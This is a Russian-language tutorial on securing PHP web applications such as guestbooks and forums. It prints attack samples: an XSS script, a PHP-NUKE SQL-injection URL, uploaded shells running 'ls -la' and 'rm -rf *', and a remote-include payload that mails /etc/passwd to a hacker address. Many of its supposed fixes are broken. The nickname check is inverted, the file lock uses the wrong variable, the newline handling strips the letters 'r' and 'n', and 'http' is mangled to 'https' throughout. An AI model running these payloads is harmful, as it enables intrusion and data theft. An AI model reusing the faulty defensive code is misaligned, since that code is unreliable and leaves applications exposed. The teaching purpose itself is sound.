Цель данной статьи, показать некоторые приемы защиты при написании скриптов на PHP и показать на примерах, как и из-за чего становится возможен взлом того или иного веб-приложения. Часто бывает так, что программист при написании своего веб-приложения (типа www-чат, форум, гостевая книга и т.д.) не задумывается над тем, а что будет если... Даже, казалась бы незначительная ошибка в коде, может привести к катастрофическим последствиям. На мой взгляд главная задача программиста состоит не только в том, что бы приложение работало, но и максимально обезопасить его от возможных ошибок. Допустим, в приложении есть форма передающая некоторые данные,которые записываются в файл и потом выводятся, например в гостевой книге. Первое, что необходимо сделать, это тщательным образом отфильтровать все данные пришедшие из формы.
Никогда нельзя доверять входящим данным!
Например: в форме есть поле e-mail, где данные не фильтруются.
Злоумышленник может вставить в это поле произвольный код типа
<script>alert(Hacked site);</script>
и все кто зайдут на страницу гостевой книги, увидят
сообщение "Hacked site",согласитесь неприятный момент для хозяина сайта.Запретим пользователю в этом поле писать, что-либо кроме почтового адреса, воспользуемся для этого функцией preg_match, функция ищет в строке совпадение для шаблона: если совпадение найдено-возвращается TRUE(истина), если нет- FALSE(ложь).
if (preg_match("/^[a-z0-9_-]{1,20}@(([a-z0-9-]+.)+(com|net|org|mil|edu|gov|ru|info|biz |inc|"."name|[a-z]{2})|[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})$/is",$mail))
{
print "Ok, почтовый адрес введен верно";
}else{
print "Адрес введен не верно";
}
этот пример проверяет лишь правильность написания адреса, но не его существование :)
В другом поле, ну скажем где пользователь, вводит свой ник, запрещаем любые символы кроме букв русского и латинского алфавита, и разрешим еще символ "_"
if (eregi("[^a-za-я0-9_]",$nick)) {
print "Ok";
}else{
print "ник содержит недопустимые символы";
}
В поле, где пользователь вводит само сообщение, тоже отфильтруем данные. Тут важно определить с самого начала, что вы хотите разрешить для пользовательского ввода. Например, если вы хотите разрешить в теле сообщения некоторые теги html, то используйте функцию strip_tags. Разрешим использовать теги <a><b><i>
$string = strip_tags($string, "<a><b><i>");
Либо заменим в переменной потенциально опасные символы эквивалентными конструкциями HTML.
Функцию htmlspecialchars() использовать с параметром ENT_QUOTES
Функция заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями.
& амперсанд преобразуется в "&"
" двойные кавычки преобразуются в """ только когда неустановлен ENT_QUOTES
одинарная кавычка преобразуется в "" только когда установлен ENT_QUOTES
"
пример использования
$string = htmlspecialchars($tring, ENT_QUOTES);
Если правила фильтрации для всех полей одинаковые, то можно проверить все входящие данные из формы, например таким способом:
foreach($_POST as $key => $value) {
$value=trim($value);
if (get_magic_quotes_gpc()) $value = stripslashes($value);
$value=htmlspecialchars($value,ENT_QUOTES);
$_POST[$key]=$value;
$value=str_replace("r","",$value);
$value=str_replace("n","<br>",$value);
$$key=$value;
}
Можно защитить переменную от опасных символов ("прослешить") таким образом
$string=addslashes($string);
Функция addslashes() возвращает строку со знаками обратной косой черты перед символами, которые должны быть заключены в кавычки, в запросах к базам данных и т.д., к таким символам относятся:
однарная кавычка
двойная кавычка
обратная косая черта
NUL(нулевой байт)
Чем чревато не экранирование таких символов:
Например, в движке сайта PHP-NUKE в файле auth.php отсутствовала проверка переменной $aid содержащей логин для авторизации пользователя. Используя одинарную кавычку можно было перенаправить вывод в произвольный файл на сервере. Строка запроса
www.server.ru/admin.php?op=login&pwd=123&aid=
Admin%20INTO%20OUTFILE%20/path_to_file/pwd.txt
делала возможным создание файла /path_to_file/pwd.txt содержащего зашифрованный пароль для логина "Admin". Можно включить в php.ini опцию magic_quotes_gpc=On , она будет автоматически экранировать, обратной косой чертой все потенциально опасные символы (например, апострофы и кавычки).
Если ваше приложение добавляет данные в файл при включеном в php.ini magic_quotes_gpc,то слеши будут автоматически добавляться к данным полученым из POST, GET запросов и кук
Удалить слеши можно функцией stripslashes().
Пример:
$string=stripslashes($string);
Если в php.ini включена опция register_globals=On (означает, что регистрируются глобальные переменные) и вы используете в вашем приложении глобальные переменные, то можно избавиться от слешей таким образом:
if (get_magic_quotes_gpc()) strips($GLOBALS);
function strips(&$str) {
if (is_array($str)) {
foreach($str as $k=>$v) {
if($k!=GLOBALS) {
strips($str[$k]);
}
}
} else {
$str = stripslashes($str);
}
}
Чтобы избавиться от добавления слешей скажем при получении данных из файла, вставьте в начало скрипта set_magic_quotes_runtime(0);
Если, ваше веб-приложение (гостевая книга, форум, веб-чат...), записывает данные, переданные пользователями, то лучше установить блокировку на файл, куда записываются данные. Представьте себе, что одновременно 10 человек пытаются оставить свое сообщение, произойдет нарушение целостности файла с данными. Избежать этого поможет функция flock(), функция устанавливает блокировку на предварительно открытый файл. Можно использовать функцию с ключами:
LOCK_SH разрешает читать заблокированый файл
LOCK_EX устанавливает полную блокировку файла
LOCKUN снимает блокировку
пример:
$file=fopen("bd.dat","ab+");
if ($file && flock($w_file,LOCK_EX)) {
fputs($file,"testn") or die("запись в файл невозможна");
}
fclose($file);
Другой немаловажный момент.
Допустим поля формы, где пользователь вводит ник и email, ограничены чем то вроде
<input type=text name=nick maxlength=10>
Злоумышленник может скачать документ с формой ввода и подправить параметр maxlength. Чтобы этого не произошло, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера https-REFERER (проверив с родного ли хоста пришли данные).
$referer=getenv("https_REFERER");
if (!ereg("^www.server.ru")) {
print "данные пришедшие не с моего сервера запрещены к приему";
exit;
}
Правда переменная https_REFERER формируется браузером и злоумышленник может, например зайти телнетом на 80 порт и сформировать запрос. Защита не бог весть-какая, но дилетанта остановит. Если требуется более сильная защита лучше воспользоваться сессиями. При заходе на страницу с формой отправки, юзеру присваивается уникальный идентификатор (число 128 бит, которое невозможно подделать). Потом организовать передачу идентификатора через сессии либо через куки, либо через URL. Если идентификатор не найден в URL (GET-запрос) или в POST-запросе и не найден в куках (или не совпадает с настоящим), то извините - вы хакер, и данные от вас не принимаются :) Правда, всегда нужно стараться найти золотую середину между удобством использования вашего приложения и его защитой.Если перестараться с ограничениями, всевозможными защитами и блокировками, то вряд ли пользователю захочется посетить ваш сайт еще раз.
Так же необходима защита вашего веб-приложения от флуда, методом частых вызовов php-файлов. Во-первых кто-то, может забить своими сообщениями ту-же гостевую книгу, во-вторых это создает лишний трафик и нагрузку на сервер. Как решение проблемы можно написать модуль, ограничивающий обращение к php-скрипту N-раз в N-времени с одного ip-адреса и подключать его к вашему скрипту функцией include() или require().
include "script_name.php";
PHP может принимать файлы, загруженные из любого браузера, отвечающего стандартам RFC-1867 (например, Netscape Navigator или Microsoft Internet Explorer). Если вы решили написать и использовать скрипт, который позволяет юзерам закачивать на сервер какие-либо файлы, то примите все меры предосторожности, что бы не создать проблем на сервере. Убедитесь, что принятый файл будет правильно обработан и сохранен. Обязательно проверяйте тип, размер принимаемого файла. И присваивайте файлу новое имя. Представьте себе, что в скрипте нет проверки на тип принимаемого файла и программа после приема выводит файл в браузер. А злобный хакер закачал файл cmd.php следующего содержания:
<? passthru("cd ./; ls -la"); ?>
и вызвал скрипт браузером www.server.ru/...
Становиться возможен, просмотр листинга корневого каталога. Или еще "лучше", файл <? exec("rm -rf *"); ?>
удалит родительский каталог и все его подкаталоги. Избежать такого развития ситуации поможет функция escapeshellcmd(), экранирует все потенциально опасные символы при выполнении команд exec(), passthru(), system(), popen() пример использования функции:
$userinput="rm -rf *";
$string = escapeshellcmd($userinput);
system("print $string");
Еще одна плохая идея-хранить конфигурационные файлы в каталоге с www-документами. Допустим ваш конфигурационный файл имеет расширение "inc", например config.inc и содержит помимо других данных, строки
user:Mickl
password:qwerty
При каком-нибудь сбое программы появится сообщение о ошибке типа
Parse error: parse error in ./home/user/www/config.inc
Естественно хакер попытается открыть этот файл www.server.ru/... и если вдруг окажется, что сервер сконфигурирован таким образом, что файлы типа *.inc он трактует как текстовые, то файл config.inc будет отображен(прочитан) в браузере. Лучше конфиг-файлы хранить выше корня сайта, там - куда нет доступа браузером. Если по каким то причинам, у вас нет доступа выше корня сайта, то создайте отдельный каталог для таких конфиг-файлов и закройте доступ к нему файлом .htaccess с таким содержанием:
<Files *.*>
order allow,deny
deny from all
</Files>
Старайтесь писать ваши приложения, не зависящими от настроек сервера.
Еще маленькая тонкость. Подумайте над тем, что будет, если пользователь в сообщение вставит очень длинную строку без разрывов типа ААААА *256 ААААААА, страшного ничего конечно не произойдет, но вот дизайн той же гостевой или форума разъедется по швам основательно. Что можно сделать в этом случае? Просто разделите данные из переменной пробелами,например по 50 символов, вряд ли вы умудритесь составить нормальное слово длиннее 50 символов.
function bigword($string) {
$s=str_replace(""",""",$string);
return " ".wordwrap($message,51," ",1)." ";
}
Почему становится возможен межсайтовый скриптинг и как это выглядит.
Язык PHP мощный и в то же время простой. Для облегчения работы программиста,разработчиками PHP, функции fopen(), file(), include(), readfile()... написаны таким образом, что програмисту нет необходимости открывать сокет и т.д. например, для чтения файла с удаленного сервера. Хотя в PHP есть функции предназначенные именно для этого socket(), fsockopen(), pfsockopen() позволяющие устанавливать связь с различными службами другого компьютера через протоколы TCP, UDP. Если параметр, передаваемый функции, начинается с префикса https://, ftp://, то функция сама установит соединение https, ftp с сервером. Если параметр будет задан в виде php://stdin, php://stdout или php://stderr будет открыт соответствующий стандартный поток ввода/вывода. Причем возможно не только чтение файла, но и запись в него, при условии соответствующих прав (chmod) на файл. Например:
$string=fopen("www.server.ru/..., "r");
Функция откроет подключение https к
серверу www.server.ru и возвратит манипулятор файла test.txt,скачает содержимое файла test.txt в переменную как из обычного файла.
$string=fopen("ftp://login:pass@server.ru/test.txt/", "w");
Функция откроет подключение FTP к серверу www.server.ru и возвратит манипулятор файла test.txt. Откроет файл www.server.ru/test.txt для записи,если файл не существует функция будет пытаться создать файл. Если сервер www.server.ru не поддерживает пассивный режим FTP, работа функции закончится неудачей. Косая черта необходима в конце имени файла из-за того, что не поддерживается перенаправление!
Пример (код взят из некоего приложения, не знаю о чем и каким местом думал тот программист): страница index.html генерирует ссылки вида
<a href="./view.php?f=news">news</a>
<a href="./view.php?f=links">links</a>
файл view.php содержит строки
include "functions.php";
print_file_view($f);
Ну и в файле functions.php есть функция print_file_view($f), отвечающая за вывод информации из файла с именем f=...
function print_file_view($f) {
$file_array_view=file("$f");
foreach ($file_array_view as $k=>$line) {
print $line."<br>";
}
}
При клике по ссылке <a href="./view.php?f=news">news</a>
файл view.php выдаст содержимое файла news. На первый взгляд все нормально. Функция file() загружает все содержимое в индексируемый массив (каждый элемент массива соответствует одной строке файла), foreach() возвращает пару "ключ/значение" и перемещает указатель к следующему элементу, print возвращает значение $line Но ... функция file не проверяет существует ли файл! И если в запросе передать значение $f отличное от news (например: www.server.ru/..., то произойдет сбой программы (так как файл blabla не существует). И будет выведено сообщение о ошибке:
Warning: file("blabla") - No such file or directory in ./home/user/www/functions.php on line 3
Warning: Invalid argument supplied for foreach() in ./home/user/www/functions.php on line 4
Разумеется если в php.ini включена директива display_errors =On (что чаще всего и бывает) На мой взгляд логичнее отключить вывод ошибок, и включить директиву записи ошибок в лог-файл сервера.
display_errors =Off
log_errors=On
В результате такого запроса, становится известен путь к скрипту и имя файла. Если нет доступа к php.ini, можно добавить в начало скрипта строку error_reporting(0); это подавит вывод ошибок.
Но ... надо не подавлять ошибки, а писать код без ошибок!
Если нет доступа к https.conf и к php.ini, например вы простой клиент хостинга, все равно можно создать разные настройки для страниц, расположеных в разных каталогах, но принадлежащих одному приложению. С помощью файла .htaccess Допустим директива вывода ошибок на сервере отключена display_errors =Off, а вам надо отладить свое приложение и включить вывод ошибок, то в файле .htaccess напишите следующие строки:
php_value error_reporting 2039
php_flag log_error off
php_flag display errors on
error_reporting обязательно устанавливайте только в виде числового значения, а не с помощью константы!
Теперь у вас свои настройки (независящие от настроек сервера) для каталога, где находится файл .htaccess , только не забывайте, что скорость работы программы замедляется из-за обращение к .htaccess
Дальше, хакер может на своем сайте www.hacker_site.ru создать файл cmd.txt с таким содержимым
<? passthru("cd /etc; cat /etc/passwd"); ?> или
<? passthru("cd /etc; cat > /etc/passwd | mail hacker@hacker_site.ru"); ?>
И заставить уязвимый скрипт таким запросом
www.server.ru/...
либо вывести в браузер содержание файла /etc/passwd с сервера, где находится уязвимый скрипт или отправить /etc/passwd себе на e-mail.
Это не в коей мере нельзя считать уязвимостью PHP, это ошибка программирования !
Можно запретить открывать URL через файловые функции в php.ini опцией
allow_url_fopen=Off
Если доступ к настройкам php отсутствует (вы просто клиент хостинга), то создайте в корне своего сайта файл .htaccess с содержанием php_value allow_url_fopen 0 правда это несколько замедлит работу программы, т.к. при каждом вызове *.php скриптов будет происходить обращение к файлу .htaccess
Но как известно - БЕЗОПАСНОСТИ МНОГО НЕ БЫВАЕТ!
Так же необходимо вырезать из переменной все префиксы https://, ftp:// функцией str_replace() :
$string=str_replace("https://","",$string);
$string=str_replace("ftp://","",$string);
Причем самое смешное состоит в том, что включение безопасного режима safe_mode=On не решает проблемы, функции продолжают исправно фунциклировать!
И так - исправим уязвимую функцию function print_file_view($f)
Добавим в код проверку на существование файла и принудительно добавим расширение ".dat" к к переменной $f. Почему расширение ".dat"? Потому, что вряд ли удастся найти сервер, который будет трактовать файлы "*.dat" как текстовые. И вырежем из переменной все префиксы https://, ftp://, если таковые в ней случайно! появятся :)
$f=str_replace("https://","",$f);
$f=str_replace("https://","",$f);
if (is_file($f.".dat")) {
$file_array_view=file($f.".dat");
foreach ($file_array_view as $k=>$line) {
print $line."<br>";
}
}else print "ERROR 404 document not found";
Функция is_file() проверяет существование заданного файла и возможность выполнения с ним операций "чтения/записи". Теперь запрос вида www.server.ru/... не даст никакой информации злоумышленнику, будет выведено сообщение, что файл не существует "ERROR 404 document not found".
Cписок некоторых директив php.ini, которые имеет смысл настроить для комфортной и безопасной работы с PHP.
magic_quotes_gpc если включена, автоматически добавляет слеши к данным пришедшим от пользователя - из POST, GET запросов и кук.
magic_quotes_runtime если включена, автоматически добавляет слеши к данным, полученным во время исполнения скрипта - например, из файла или базы данных.
register_globals если включена, переменные GET, POST, Cookie, Server будут регистрироваться как глобальные переменные. Если директива выключена, то глобальный доступ можно получить через массивы $https_ENV_VARS, $https_GET_VARS, $https_POST_VARS, $https_COOKIE_VARS, $https_SERVER_VARS
track_vars если разрешена, то глобальные переменные GET, POST, Cookie, Server всегда будут находиться в глобальных массивах $https_ENV_VARS, $https_GET_VARS, $https_POST_VARS, $https_COOKIE_VARS, $https_SERVER_VARS
allow_url_fopen если включена, позволяет обращаться с объектами URL как с файлами (по умолчанию включена!), есть смысл отключить данную директиву, если не планируете работать с удаленными файлами. Зачем облегчать хакерам жизнь? :) Присутствует только в версиях PHP выше 4.0.3 , до версии 4.0.3(включительно) можно лишь запретить во время компиляции PHP --disable-url-fopen-wrapper
upload_tmp_dir указывает на временный каталог для хранения файлов, загруженых с сервера.
safe_mode включитьвыключить безопасный режим для PHP
safe_mode_exec_dir если включен безопасный режим, то функции, которые исполняют системные программы (типа system, exec...) не будут работать вне этого каталога.
enable_dl Лучше отключить!!! Необходима лишь когда PHP стоит как модуль Apache. С помощью функции dl() можно включать и отключать динамическую загрузку расширений PHP через виртуальный сервер или каталог. При помощи динамической загрузки можно обойти запреты в safe_mode и open_base_dir. По умолчанию всегда разрешена! За исключением safe_mode.
display_errors если включена, показывает на экране ошибки как часть вывода HTML
error_log название файла, куда записываются програмные ошибки
error_reporting устанавливает степень подробности ошибок, значение должно быть числовое.
ignore_user_abort (по умолчанию разрешено). При запрете данной директивы, программа будет завершена, если пользователь завершит соединение с программой. Лучше выключить, так как юзер может написать 2 скрипта, с такой строкой в каждом скрипте ignore_user_abort(0): по истечении N-времени, 1 скрипт запустит второй, потом второй
запустит первый. Получается, что-то типа крона, будут кушаться системные ресурсы :)
include_path определяет список каталогов, в которых функции include(), require(),
fopen_with_path() проводят поиск файлов. По умолчанию установлена в "." (только в этом
каталоге). В UNIX каталоги в списке разделяются двоеточием, в Win точкой с запятой.
max_execution_time устанавливает максимальное время в секундах, отпущеных для работы скрипта по умолчанию - 30 секунд.
memory_limit устанавливает максимальный объем памяти (в байтах), который можно использовать программе и не позволяет кривым скриптам использовать весь объем памяти сервера.
Ну вот, пожалуй и все, в одной статье просто невозможно охватить все аспекты. Я надеюсь, что время затраченное на написание данной статьи, не пропадет даром и ваши веб-приложения станут более защищенными от взлома. Не забывайте о тех пользователях, которые будут использовать ваши скрипты на своих сайтах!
Статья является собственностью RusH security team.